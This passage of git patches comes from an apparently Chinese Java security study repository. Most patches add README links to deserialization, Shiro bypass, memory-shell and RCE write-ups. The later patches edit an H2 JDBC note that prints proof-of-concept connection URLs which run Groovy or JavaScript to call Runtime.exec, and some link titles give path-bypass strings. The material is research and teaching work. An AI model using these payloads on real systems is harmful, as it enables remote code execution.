Dubbo反序列化漏洞(CVE-2023-23638)完整利用及工程化实践](https://yyhylh.github.io/2023/05/11/Apache%20Dubbo%20%EF%BC%88CVE-2023-23638%EF%BC%89%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8%E5%8F%8A%E5%B7%A5%E7%A8%8B%E5%8C%96%E5%AE%9E%E8%B7%B5/) - - Oracle - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) - - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - +- 其他 - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) + - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) + From 00378314fb5a00a7764c33ab6f058f1f5d1abc24 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 15 Jun 2023 11:20:40 +0800 Subject: [PATCH 027/113] =?UTF-8?q?=E8=B0=83=E6=95=B4=E7=BB=93=E6=9E=84?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index fd3000a..938e108 100644 --- a/README.md +++ b/README.md @@ -58,13 +58,13 @@ - [CommonsCollections6-Shiro1.2.4笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-Shiro1.2.4/CommonsCollections6-Shiro1.2.4.md) - [CommonsCollections7笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections7/CommonsCollections7.md) - [使用TemplatesImpl改造CommonsCollections2](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2.md) +- [网上看到的套娃CommonsCollections11](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections11/CommonsCollections11.md) - [CommonsBeanutils1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md) - [CommonsBeanutils1-Shiro(无CC依赖)](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1-Shiro(%E6%97%A0CC%E4%BE%9D%E8%B5%96)/CommonsBeanutils1-Shiro(%E6%97%A0CC%E4%BE%9D%E8%B5%96).md) - [FileUpload1-写文件\删除文件](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/FileUpload/index.md) - [C3P0利用链简单分析](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/C3P0/C3P0.md) - [C3P0Tomcat不出网利用(思路就是之前高版本JNDI注入的思路)](http://www.yulegeyu.com/2021/10/10/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E4%B8%8D%E5%87%BA%E7%BD%91%E5%88%A9%E7%94%A8/) -- [反制Ysoserial0.0.6版本-JRMP(打个标签weblogic搞定后看看)](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP.md) -- [网上看到的神秘套娃CommonsCollections11](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections11/CommonsCollections11.md) +- [反制Ysoserial0.0.6版本-JRMP](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP/%E5%8F%8D%E5%88%B6Ysoserial0.0.6%E7%89%88%E6%9C%AC-JRMP.md) - [SnakeYAML反序列化及可利用Gadget](https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%8F%8A%E5%8F%AF%E5%88%A9%E7%94%A8Gadget%E5%88%86%E6%9E%90/) - [SnakeYAML出网探测Gadget(自己瞎琢磨出来的,不过在1.7以下版本就不行)](https://y4tacker.github.io/2022/02/08/year/2022/2/SnakeYAML%E5%AE%9E%E7%8E%B0Gadget%E6%8E%A2%E6%B5%8B/) - [XStream反序列化学习](https://y4tacker.github.io/2022/02/10/year/2022/2/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/) @@ -75,6 +75,11 @@ - [反序列化在渗透测试当中值得关注的点](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9C%A8%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E5%BD%93%E4%B8%AD%E5%80%BC%E5%BE%97%E5%85%B3%E6%B3%A8%E7%9A%84%E7%82%B9/index.md) - [构造java探测class反序列化gadget](https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA) - [对URLDNS探测class的补充(为什么本地明明没有这个类却有"DNS解析")](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/URLDNS%E6%8E%A2%E6%B5%8Bclass%E7%9A%84%E8%A1%A5%E5%85%85/index.md) +- Hessian反序列化 + - [Hessian 反序列化知一二](https://su18.org/post/hessian/) + + - [hessian-only-jdk利用补充](https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md) + - [hessian-onlyjdk-jdk11+jdk.jfr.internal.Utils利用补充](https://guokeya.github.io/post/psaIZKtC4/) ## 3.Fastjson/Jackson专区 @@ -401,16 +406,11 @@ -## 19.Hessian反序列化 - -- [Hessian 反序列化知一二](https://su18.org/post/hessian/) -- [hessian-only-jdk利用补充](https://github.com/waderwu/My-CTF-Challenges/blob/master/0ctf-2022/hessian-onlyJdk/writeup/readme.md) -- [hessian-onlyjdk-jdk11+jdk.jfr.internal.Utils利用补充](https://guokeya.github.io/post/psaIZKtC4/) -## 20.ASM与JVM学习 +## 19.ASM与JVM学习 - [JAVA虚拟机执行模型(关注引入了栈映射帧,用于加快虚拟机中类验证过程的速度)](https://www.cnblogs.com/coding-way/p/6600647.html) - [What is a stack map frame](https://stackoverflow.com/questions/25109942/what-is-a-stack-map-frame) From 010fabff2378218464580b0befde5762768e8206 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 15 Jun 2023 11:28:30 +0800 Subject: [PATCH 028/113] Update README.md --- README.md | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/README.md b/README.md index 938e108..bc783ef 100644 --- a/README.md +++ b/README.md @@ -404,9 +404,7 @@ - [Tomcat中url解析特性](https://github.com/Y4tacker/JavaSec/blob/main/8.%E5%85%B3%E4%BA%8ETomcat%E7%9A%84%E4%B8%80%E4%BA%9B%E5%88%86%E4%BA%AB/Tomcat%E4%B8%ADurl%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7/index.md) - [SpringBoot2.3.0以下路由%2e跨目录处理(可用于权限绕过)](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot2.3.0%E4%BB%A5%E4%B8%8B%E8%B7%AF%E7%94%B1%252e%E8%B7%A8%E7%9B%AE%E5%BD%95%E5%A4%84%E7%90%86(%E5%8F%AF%E7%94%A8%E4%BA%8E%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87)/index.md) - - - +- [网上看到的Jetty的部分解析特性(支持%uxxx)](https://www.wangan.com/p/7fyg8k2c7781675a) From 72bc0e3f8b6601b3321f1fe238eacc0a6b141a3f Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 15 Jun 2023 11:42:48 +0800 Subject: [PATCH 029/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bc783ef..fb09fb1 100644 --- a/README.md +++ b/README.md @@ -421,7 +421,7 @@ - JMX - [JMX RMI攻击利用](https://github.com/k1n9/k1n9.github.io/blob/aeeb609fe6a25d67bc2dc5f990a501368fb25409/_posts/2017-08-24-attack-jmx-rmi.md) - [一次从jmx到rce](https://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247506824&idx=1&sn=1bff6060290c0fdb7fe059cff2c61153&chksm=96d0208da1a7a99b6e61c8e3c332d324c0296bbccf1163cb8a10760e57cd17e150cb23a0e36a&mpshare=1&scene=1&srcid=1220PA2K5MY7dM3gWTr06z4r&sharer_sharetime=1671532238935&sharer_shareid=19374164c9d8647c6159e09a97bb1208#rd) - - [tomcat-jmxproxy-rce-exp(挺骚的感觉留个后门啥的不错)](https://xz.aliyun.com/t/11450) + - [tomcat-jmxproxy-rce-exp(JMX with AccessLogValve)](https://www.wangan.com/p/11v6cf3fcad1500e) - [GadgetInspector源码分析](https://y4tacker.github.io/2022/05/09/year/2022/5/GadgetInspector%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/) - [CVE-2021-2471 JDBC-XXE漏洞分析](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/CVE-2021-2471%20JDBC-XXE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/CVE-2021-2471%20JDBC-XXE%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md) - [spring-messaging 远程代码执行漏洞分析](https://github.com/Y4tacker/JavaSec/blob/main/%E5%85%B6%E4%BB%96/spring-messaging%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/spring-messaging%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md) From 484fd69d050fc89313387be785be7b85f4b95b7a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 6 Jul 2023 19:45:57 +0800 Subject: [PATCH 030/113] Update README.md --- README.md | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index fb09fb1..d223592 100644 --- a/README.md +++ b/README.md @@ -364,9 +364,13 @@ - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) + - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)](https://github.com/c0olw/NacosRce) +- Smartbi +- [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) - 其他 -- [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) + - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) + - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) + From 2a1b38e1696edfe913ccef6056710de1bc22abb5 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 6 Jul 2023 19:48:56 +0800 Subject: [PATCH 031/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index d223592..dee7a40 100644 --- a/README.md +++ b/README.md @@ -366,7 +366,8 @@ - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)](https://github.com/c0olw/NacosRce) - Smartbi -- [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) + - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) + - 其他 - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) From e91e9db98bb014017729a46629977920f885e6ca Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 6 Jul 2023 20:01:30 +0800 Subject: [PATCH 032/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index dee7a40..bd2df8f 100644 --- a/README.md +++ b/README.md @@ -364,7 +364,7 @@ - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)](https://github.com/c0olw/NacosRce) + - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) From fc151a2b9d59a0dbd20a1acca706f264b2b64253 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 9 Jul 2023 12:19:23 +0800 Subject: [PATCH 033/113] Update README.md --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index bd2df8f..f7c13fa 100644 --- a/README.md +++ b/README.md @@ -308,8 +308,9 @@ - [CVE-2020-13933特殊场景权限绕过(通过/unauthorize/%3b)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2020-13933%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) - [SpringBoot2.3.0下Shiro<=1.5.1权限绕过(通过/aa;/%2e%2e/unauthorize绕过对/unauthorize拦截,当然也可以不用目录穿越/;y4tacker/unauthorize也可以)](https://github.com/Y4tacker/JavaSec/tree/main/11.Spring/SpringBoot2.3.0%E4%B8%8BShiro%3C%3D1.5.1%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87) - [Spring-Shiro1.5.2 Bypass(通过/unauthorize/a%252Fa绕过对/unauthorize/*的权限限制)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Spring-Shiro1.5.2%20Bypass/index.md) +- [记一次 Shiro 的实战利用(突破限制shiro利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) + -这里再贴一个小笔记:`Class.forName`不支持原生类型,但其他类型都是ok。`Class.loadClass`不能加载原生类型和数组类型,其他类型也都ok From b51feb118f7865a8ebc3791e569b8595af35a9eb Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 9 Jul 2023 12:21:08 +0800 Subject: [PATCH 034/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index f7c13fa..52b5555 100644 --- a/README.md +++ b/README.md @@ -308,7 +308,7 @@ - [CVE-2020-13933特殊场景权限绕过(通过/unauthorize/%3b)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/CVE-2020-13933%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87/index.md) - [SpringBoot2.3.0下Shiro<=1.5.1权限绕过(通过/aa;/%2e%2e/unauthorize绕过对/unauthorize拦截,当然也可以不用目录穿越/;y4tacker/unauthorize也可以)](https://github.com/Y4tacker/JavaSec/tree/main/11.Spring/SpringBoot2.3.0%E4%B8%8BShiro%3C%3D1.5.1%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87) - [Spring-Shiro1.5.2 Bypass(通过/unauthorize/a%252Fa绕过对/unauthorize/*的权限限制)](https://github.com/Y4tacker/JavaSec/blob/main/12.Shiro/Spring-Shiro1.5.2%20Bypass/index.md) -- [记一次 Shiro 的实战利用(突破限制shiro利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) +- [记一次 Shiro 的实战利用(突破限制shiro 550利用payload的长度,这种方式不能很好对抗检测文件落地,其实也可以配合上下文一些无害属性多次set写入加载)](https://mp.weixin.qq.com/s/w9sMhMrCy1pofOV-h94qbQ) From 7aa7b833baaf16b7805ea4b8a4c355e125ed7b0a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 9 Jul 2023 14:29:07 +0800 Subject: [PATCH 035/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 52b5555..0c41323 100644 --- a/README.md +++ b/README.md @@ -252,6 +252,7 @@ - [Hive-RCE](https://github.com/Y4tacker/hue-hive-rce) - [2023BalckHat Asia上补充关于informix-sqli、db2、cloudspanner、avatica、snowflake的利用姿势](https://i.blackhat.com/Asia-23/AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf) +- [JDBC利用链结合原生反序列化的思路](https://mogwailabs.de/en/blog/2023/04/look-mama-no-templatesimpl/) ## 10.关于JNDI的整理 From c848d69373544a07dbb03b80e3a9afec5a568882 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 10 Jul 2023 22:40:47 +0800 Subject: [PATCH 036/113] Update index.md --- .../ASM\345\255\246\344\271\240/index.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" index 11b6ea4..be434f2 100644 --- "a/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" +++ "b/1.\345\237\272\347\241\200\347\237\245\350\257\206/ASM\345\255\246\344\271\240/index.md" @@ -92,7 +92,7 @@ class文件固定的文件头,为固定值`0xcafebabe` ### constant_pool_count -这里是`0x00001e4` +这里是`0x0014` 常量池计数器的值等于常量池总数+1,注意的是`long`和`double`类型的常量池对象占用两个常量位 From a5a18772ee689b656117fcdec39c672fbcec9310 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 12 Jul 2023 14:59:36 +0800 Subject: [PATCH 037/113] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 0c41323..06711b6 100644 --- a/README.md +++ b/README.md @@ -367,6 +367,9 @@ - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) + +- Adobe + - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) From d6683cafbd69f543024061647341fd1b303b97ac Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 12 Jul 2023 15:03:43 +0800 Subject: [PATCH 038/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 06711b6..fd5c28b 100644 --- a/README.md +++ b/README.md @@ -182,7 +182,7 @@ - Tools - - [一款支持高度自定义的 Java 内存马生成工具](https://github.com/pen4uin/java-memshell-generator) + - [一款支持高度自定义的 Java 内存马生成工具(配合这个学习别人的内存马构造)](https://github.com/pen4uin/java-memshell-generator) From fc7a98e3144c19d1d7f594d46532c5b8484c83c3 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Thu, 13 Jul 2023 14:18:05 +0800 Subject: [PATCH 039/113] Update Adobe ColdFusion Pre-Auth RCE --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index fd5c28b..81c9bb6 100644 --- a/README.md +++ b/README.md @@ -369,7 +369,8 @@ - [Nacos 多次打非完全体方案(这人也没完全考虑到容错,但是网上暂时只有这人的,实际上在构建WriteRequest缺少setOperation)(慎用!别把别人打崩了!)](https://github.com/c0olw/NacosRce) - Adobe - - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) + - [CVE-2023-29298: Adobe ColdFusion Access Control Bypass](https://www.rapid7.com/blog/post/2023/07/11/cve-2023-29298-adobe-coldfusion-access-control-bypass/) + - [Analysis CVE-2023-29300: Adobe ColdFusion Pre-Auth RCE](https://blog.projectdiscovery.io/adobe-coldfusion-rce/) - Smartbi - [浅析Smartbi逻辑漏洞](https://y4tacker.github.io/2023/07/05/year/2023/7/%E6%B5%85%E6%9E%90Smartbi%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/) From a3e29d2c845ab867fe0e02d3f00b8bcd66eb2eda Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 19 Jul 2023 19:55:03 +0800 Subject: [PATCH 040/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 81c9bb6..cd2e54f 100644 --- a/README.md +++ b/README.md @@ -290,7 +290,7 @@ - [SpringBoot全局注册Filter过滤XSS](https://github.com/Y4tacker/JavaSec/blob/main/11.Spring/SpringBoot%E5%85%A8%E5%B1%80%E6%B3%A8%E5%86%8CFilter%E8%BF%87%E6%BB%A4XSS/index.md) - +- [Springboot devtools反序列化(难点在于secret的获取,当然比如有actuator端点暴露情况下就会变得任意)](https://novysodope.github.io/2022/05/11/77/) ## 12.Shiro From ae0322d3f5bc7af903adf91a4fd9acd207daf72a Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 24 Jul 2023 16:43:40 +0800 Subject: [PATCH 041/113] Update index.md --- 9.JDBC Attack/h2/index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/9.JDBC Attack/h2/index.md b/9.JDBC Attack/h2/index.md index e0f88a5..38f74a6 100644 --- a/9.JDBC Attack/h2/index.md +++ b/9.JDBC Attack/h2/index.md @@ -19,7 +19,7 @@ spring.h2.console.setting.web-allow-others=true ![](img/2.png) -通过使用RUNSCRIPT命令,h2最终会调用org.h2.command.dml.RunScriptCommand#execute来执行邪恶的sql。 +通过使用RUNSCRIPT命令,h2最终会调用org.h2.command.dml.RunScriptCommand#execute来执行恶意的sql语句。 ![](img/3.png) From c8f4e02822e739b1c150a8b45bccb3c0e990328e Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Fri, 28 Jul 2023 14:38:36 +0800 Subject: [PATCH 042/113] Update README.md metabase pre auth rce --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index cd2e54f..5ab3346 100644 --- a/README.md +++ b/README.md @@ -377,6 +377,7 @@ - 其他 - [HtmlUnit-RCE](https://siebene.github.io/2022/12/30/HtmlUnit-RCE/) - [openfire鉴权绕过漏洞原理解析(主要是学习jetty对%u002e请求的解析支持)](https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w) + - [Metabase-Pre auth RCE](https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/) From 9cb5d45255c9f88221aecf0e835be9d0d40654c6 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Sun, 30 Jul 2023 21:23:06 +0800 Subject: [PATCH 043/113] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 5ab3346..8ea9115 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ - [ClassLoader(类加载机制)](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6)/ClassLoader(%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6).md) - [SPI学习](https://github.com/Y4tacker/JavaSec/blob/main/1.%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/SPI/SPI.md) - [JavaAgent](http://wjlshare.com/archives/1582) +- [Java9模块化特性](https://developer.aliyun.com/article/618778) - [JMX](https://zhuanlan.zhihu.com/p/166530442) - [JMX补充学习这哥们写的不错](https://github.com/ZhangZiSheng001/02-jmx-demo) - [JDWP远程执行命令](https://www.mi1k7ea.com/2021/08/06/%E6%B5%85%E6%9E%90JDWP%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/) From 905b727d0db90939d8adfcd7a34fb47f4b764e1c Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 31 Jul 2023 13:54:55 +0800 Subject: [PATCH 044/113] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8ea9115..d9b9fc6 100644 --- a/README.md +++ b/README.md @@ -319,9 +319,9 @@ ## 13.回显相关技术学习 - [通杀漏洞利用回显方法-linux平台](https://www.00theway.org/2020/01/17/java-god-s-eye/) - - [linux下java反序列化通杀回显方法的低配版实现](https://xz.aliyun.com/t/7307) - [Tomcat中一种半通用回显方法](https://xz.aliyun.com/t/7348) +- [半自动化挖掘request实现多种中间件回显](https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/) From 736e69e96e1f741aa120a6c8c8d440ae47134052 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 31 Jul 2023 15:48:05 +0800 Subject: [PATCH 045/113] Update index.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修正一处重复 --- 9.JDBC Attack/h2/index.md | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) diff --git a/9.JDBC Attack/h2/index.md b/9.JDBC Attack/h2/index.md index 38f74a6..8f48f68 100644 --- a/9.JDBC Attack/h2/index.md +++ b/9.JDBC Attack/h2/index.md @@ -51,26 +51,16 @@ private static boolean isGroovySource(String var0) { return var0.startsWith("//groovy") || var0.startsWith("@groovy"); } ``` - -但是也不是每个项目都有Groovy - +利用 ```java - public static void main(String[] args) throws Exception { - Class.forName("org.h2.Driver"); - - String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + - "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + - "java.lang.Runtime.getRuntime().exec('open -na Calculator')\n" + - "$$\n"; - Connection conn = DriverManager.getConnection(url); - conn.close(); - } +Class.forName("org.h2.Driver"); +String groovy = "@groovy.transform.ASTTest(value={" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")" + "})" + "def x"; +String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE ALIAS T5 AS '" + groovy + "'"; ``` +但是也不是每个项目都有Groovy,这时候可以使用js执行命令 -## 无其他依赖通过Javascript - ``` public static void main(String[] args) throws Exception { Class.forName("org.h2.Driver"); From c2e039001a63e6baef52f0208b27e37e6342ba61 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Mon, 31 Jul 2023 15:53:36 +0800 Subject: [PATCH 046/113] Update index.md 